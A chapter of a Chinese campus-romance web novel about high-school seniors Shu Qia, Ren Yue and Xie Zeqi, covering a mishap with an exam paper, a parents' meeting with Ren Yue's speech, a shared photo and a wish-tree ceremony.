意识到自己和孟弦意打闹惹出了祸,舒洽赶紧慌里慌张和任樾道歉。 她其实在心里吐槽自己倒霉。 撞到谁不好?撞到了任樾。 任樾对上她的眼睛。 舒洽眼里没全然带着担心,也有懊悔。 她今天穿的是白色卫衣,没穿校服外套,卫衣上面有一个微笑小熊,萌萌的,头发扎成一个松散的丸子头,别了几个彩色的小发夹。 和舒洽对视的那一瞬间,他的心狂跳不止。 任樾只停留了一秒,很快地收回目光,垂眸遮住眼底的情绪。耳边无端传来“咚咚咚”的鼓声由远及近 ,越发激动。 “没事。” 他说着。 舒洽受伤吧?没事吧?他垂眸不自觉冒出这两个问题。他刚才听见舒洽“嘶”了一声。 他又补充了一句,“你没事吧?”说的太过平静,很像阴阳怪气。 何其都不敢看舒洽的脸。 舒洽也不确定任樾是真的没事还是假的没事。 她现在和任樾也不熟悉。 任樾到了高三就飞升,年级第一,而且还大受欢迎。和舒洽距离感很强,舒洽也没再和任樾说过话,微信平常放假也不会聊天,对他的印象又变成了成绩很好的班上同学和谢泽栖的好朋友。 她下意识遗忘了她曾经和任樾是同桌的记忆。 她凑到任樾桌旁,明晃晃任樾试卷上的划痕映入眼帘,一看就是刚才她撞出去划下去的。 旁边的孟弦意也紧张看着,心里大叫着完了。 舒洽转头和孟弦意招手,“小意,去把我才发的试卷拿过来。” 好在任樾试卷没写几笔呢。还可以补救。 舒洽将手里的试卷和任樾桌子上的试卷调换,虽然任樾说着没事,但是看着划痕皱眉显而易见的嫌弃,舒洽还是决定亡羊补牢,“你不介意吧?” 任樾张了张口,摇头,“已经这样了。没事的,不用换了。” 舒洽干脆就换了,再一次和任樾说着对不起。 “没事。真的没事。” 舒洽见到任樾面上真的没有任何发怒的征兆,松了口气,拉着孟弦意回到了座位。一回到位置,舒洽就开始举着试卷说话,还带着愤愤不平,显然是一派激情昂扬之态。 何其看了一眼,传递情报。 “她在吐槽你。” 一看就知道。 舒洽的性子又没有变过。 任樾将目光落在空白试卷,试卷是空白的,名字栏的“舒洽”倒是写的龙飞凤舞。 他满不在乎“嗯”了一声,没放在心上。 何其想到什么,追问非要一个答案。 “刚才老严喊你去干嘛?” “下周各个年级要开家长会,年级第一要去演讲。喊我准备好稿子。” 任樾就这样自然将下周要开家长会这个机密透露出来,何其破防了,“我这次考的这么差,学校开家长会是要的我命吗?” 任樾不着痕迹地看了一眼舒洽的方向。 他记得这次舒洽考的也不好,排名也才班上第十二名。 *** 阳光照进来暖洋洋的,往常安静的教学楼难得吵闹,到处都是走动布置场地的同学,不间断的有家长陆续加入教室做到位置上和孩子聊着天。 要是站在走廊上往楼下一看,也是人来人往景象。 舒洽接到舒少帘的电话就赶紧去接。舒少帘和李恒柏上次进南中还是舒洽上高一那会,他们边走边聊,到达高三的教学楼会路过光荣榜。 很多家长都围着看,一时水泄不通,黑压压的一大片。 舒少帘和同事换了一下课,李恒柏今天请假来的,两人站在旁边,也打算看看光荣榜。 光荣榜都已经看烂了,舒洽拿着手机在旁边玩,却收到一条谢泽栖的消息。 “抬头,往左边看。” 她一抬头,就看见光荣榜的左边窜出谢泽栖的身影,香樟树下谢泽栖穿着校服,面上带着意气风华和少年轻狂。 他笑着走过来和舒洽打着招呼,和舒少帘李恒柏点头,然后乖巧喊着叔叔阿姨。 舒少帘和李恒柏都认识谢泽栖,也笑着问了一句,“你爸妈呢?” 他们知道这孩子成绩好,舒洽暑假去图书馆学习也是被谢泽栖带着去的。 谢泽栖挨着舒洽,仰头,“我爸妈在里面看成绩呢。” 才说着话,谢泽栖眼睛一亮,喊着一对打扮很简约但透着低调贵气,很引人注目的夫妻,招着手,“爸妈,这里。” 那对夫妻顺着谢泽栖的声音走了过来,显然是谢泽栖的父母。 “这我好朋友,舒洽。” 谢泽栖指着舒洽介绍道。 舒洽笑着喊叔叔阿姨,略微带着拘谨,这是她第一次见到谢泽栖的父母。 谢泽栖的妈妈闵周也含笑点了点头,算是回应,虽然笑着,但是眉眼却是带着凌厉。 也许是单眼皮的原因,带着隐约的距离感,周身皆是上位者的气息。 她知道自己儿子和一个女生走得近。 她扫了一眼舒洽,在心里审视着舒洽。 李恒柏却是上前,和谢泽栖的爸爸谢允握手,“好久不见啊,谢总。” 谢允也没想到在这里还能遇到熟人,“李律,这小姑娘是你的女儿?我看很巧啊。” 李恒柏也笑着,一行人索性边走边聊天,直到各自到各自孩子的对应楼层才分开。 谢允和闵周都在谢泽栖的位置坐着。 谢允想到刚才在光荣榜上见到的第一名孩子的长相模样,又想到儿子骄傲说着那是他兄弟的神情。 他和闵周交换了神色。 谢允犹豫开口,问着谢泽栖,“等会可以去见见那个叫任樾的孩子嘛?” 闵周也开口,“我们见见你朋友。” 谢泽栖以为是父母是赞同自己的朋友,一口答应下来。 闵周起身,抻着脸出去打了一个电话后若无其事回到座位坐着。 舒洽带着父母进入十三班来到自己的座位上,她说道,“等会老师要说什么,你们就答应就好了。” 舒少帘一转头就往教室后看平时成绩的名单,一看,舒洽这次考试才到十二名。 她喊着才要装作无事出门的舒洽,“舒洽,过来。” 舒洽磨磨蹭蹭走过来,舒少帘冷脸,“你和我说,你这次考到前第八名的。嗯?” 舒洽比了个差一点的手势,笑嘻嘻道,“差一点,差一点。” 李恒柏知道哭笑不得,安慰着舒少帘,起码舒洽没有说自己考了第一名吧。 舒少帘 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舒洽脑中无意想到董圆说的任樾家里穷,可能家长在打工来不了,但是这可是高三的家长会啊,这么重要。 舒洽抿唇,不知怎的,一种奇怪难言滋味开始蔓延。 “管他这些闲事干嘛?我们聊其他的。” 才聊了一会,就听见广播传来动静,“滋啦”声后面传来一道男声。 “尊敬的老师们,亲爱的同学们,大家好,我是来自高三十三班的任樾。高考将至,身为高三学子中的一员……” 是任樾的声音,冷淡又克制,他的嗓音就像是冷峻冬夜的一缕风淡漠,咬字清晰,停顿得当。 走廊上说话声音都低了几分,十三班的同学更是无人说话,听着他们班的任樾发言。 演讲稿分享了自己的学习经验,适当引用了名言警句,也融入自己的感受,文学抒情和理科严谨同时出现,交相配合。 “丹墀对策三千字,金榜题名五色春。祝愿所有南中的高三学子在今年都可金榜题名,考上心仪的学校。” “谢谢,我的分享完毕。” 一瞬间,掌声雷动,整个教学楼都被调动起情绪,大家兴奋交头接耳,一时间走廊又喧嚣起来。 孟弦意啧啧两声,“我去,你别说,任樾还是有两把刷子。” 舒洽点头,“很厉害。” 几个人聊着天,突然何其拿着校服从走廊那边走过来,“签个名字吧,美女们。” 舒洽看了眼,他的校服上已经有很多班上同学的名字了。 显然,何其是在收集名字纪念高中。 孟弦意接过油性笔痛快写下自己名字,写完就传给身边的卫雨,到了舒洽的时候,舒洽选择了校服边角的一个隐蔽角落。何其看着她的动作,“您这也太小了吧。” 舒洽毫不在乎,“写了就行。” 韩思佳倒是问了一句,“还没毕业呢,校服不要了啊?” 何其摇摇头,“没事,我有四件校服。”走开去寻找下一批同学签名。 等到家长会中场休息的时候,舒洽溜进教室,发现舒少帘脸色没有多大的变化,她犹豫试探,“舒老师,下午的高三感恩活动您还可以坚持下去吗?” 今天上午是家长会,下午是高三感恩活动。 舒洽怕舒少帘下午回家不参加活动。 舒少帘没好气,“可以坚持,你怕什么?” 舒洽松口气,打探着消息,“老严说我了没?” 李恒柏似笑非笑,“这个要问你自己,小乖。” 舒洽就是不确定,才问的。见到舒少帘和李恒柏都不打算透露,她愤愤不平打算去走廊逛逛,却在走廊看见有好几个不认识的女生红着脸轮流和任樾拍照,像是打卡一样。 任樾脸上没有多大的神情变化,手上还拿着演讲稿,看样子是才从广播室过来。 这是什么活动? 拍照的是何其,他兼职摄影师,舒洽凑过去好奇,“这是干嘛啊?” 何其耸了耸肩膀,他也是被临时抓来的,挤眉弄眼,“要毕业了,你懂的。” 舒洽明白了——少女怀春,拍个照片纪念合照啊。 舒洽想到昨天自己刷抖音看的视频。 “如果你的成绩不好,可以和成绩好的人多待着,这样的话,说不定可以带点好气运。气场是一个人带来的……” 舒洽看向周边已经没人的任樾,也兴冲冲上前问道。 “任樾,可以和你合照吗?” 任樾比舒洽高很多,刚才拍照拍的很是不耐,看结束了本想提步离开,但现在舒洽问了这个问题,他身子僵了僵,对上舒洽的眼睛,有些古怪确定到,“你和我单独合影吗?” 舒洽点头,蹭蹭你的气运,问着任樾,“行吗?” “行。” 任樾抿唇,三秒后作出答复。 啊啊啊啊啊啊啊啊啊啊。 他的手不由自主捏紧了演讲稿。 舒洽喊着何其拍照,比着耶,脸上洋溢着笑,任樾靠近舒洽,他发现自己没拿演讲稿的左手竟然轻微颤抖,他不着痕迹将左手塞进口袋,装作无事发生。 “好,笑一个。任樾。你面无表情啊?” 何其忍不住吐槽。 任樾勾起唇,笑了笑。 “好,茄子。” 说茄子的那瞬间,任樾忍不住微微低头,将目光落到舒洽身上。他没看镜头,看向了舒洽。 舒洽让何其将照片发给她然后乐呵呵地离开。 蹭气运啊,蹭气运。 何其答应了,然后举着乱成一团眼花缭乱的校服给任樾,对上任樾不解的目光,他解释道,“高中同学纪念校服。就差你没签字了,学霸。” 任樾第一眼就注意到舒洽的名字。 他接过笔,在舒洽的旁边写下“任樾”两个字。 何其也没奇怪,因为其他地方都挤着了,任樾最后一个来的,也没多大的发展空间。 任樾进教室前,回头对着何其说了一声,“照片,也可以发我一份吗?” 何其愣了一下,还没有反应过来。 任樾补充,“舒洽和我的那张合照,谢了。” “哦哦好。” 下午高三感恩活动,高三的学生都领到了一根红带子,写上自己的愿望挂在南中操场上的百年老树上。 这是南中的传统。 谢泽栖举着拍立得悄悄来和舒洽汇合。 舒洽手上正拿着舒少帘和李恒柏写给她的信封,她拆开看了里面的信,很简单的话语,但是每一句都承载着对她的爱。 谢泽栖拉着舒洽,给她拍了很多照片,只给了舒洽几张照片,剩下的他自己全留下了。他还喊一个路过的同学拍了两个人的合照。 合照有两张,是不同的姿势。 舒洽要照片,他不给。 美曰其名要守着宝藏。 舒洽让谢泽栖滚远点。 两个人嘻嘻哈哈打闹,谢泽栖问着舒洽的红绳上面写了什么,舒洽随口答道,“当然是许我的愿望心想事成,家人身体健康啦。” 谢泽栖也笑着说,很严肃像是在发誓,他笃定看向舒洽。 “我的愿望是希望我和你永远在一起。” 舒洽对上谢泽栖的坚定又认真眼眸,难得一愣,操场上吹着风,身后的许愿树仿佛听见了谢泽栖的话,跟着附和,“沙沙声”声此起彼伏,风扬起舒洽的刘海,带着凉意,她将刘海撩至耳后。 舒洽起身推了任樾一下,发现任樾冷着张脸。 也不知道什么毛病犯了。 她很自然捡起相册闲置到一旁的小桌上,一脸莫名其妙问着任樾。 “你手还是脚抽筋了?要打120吗?”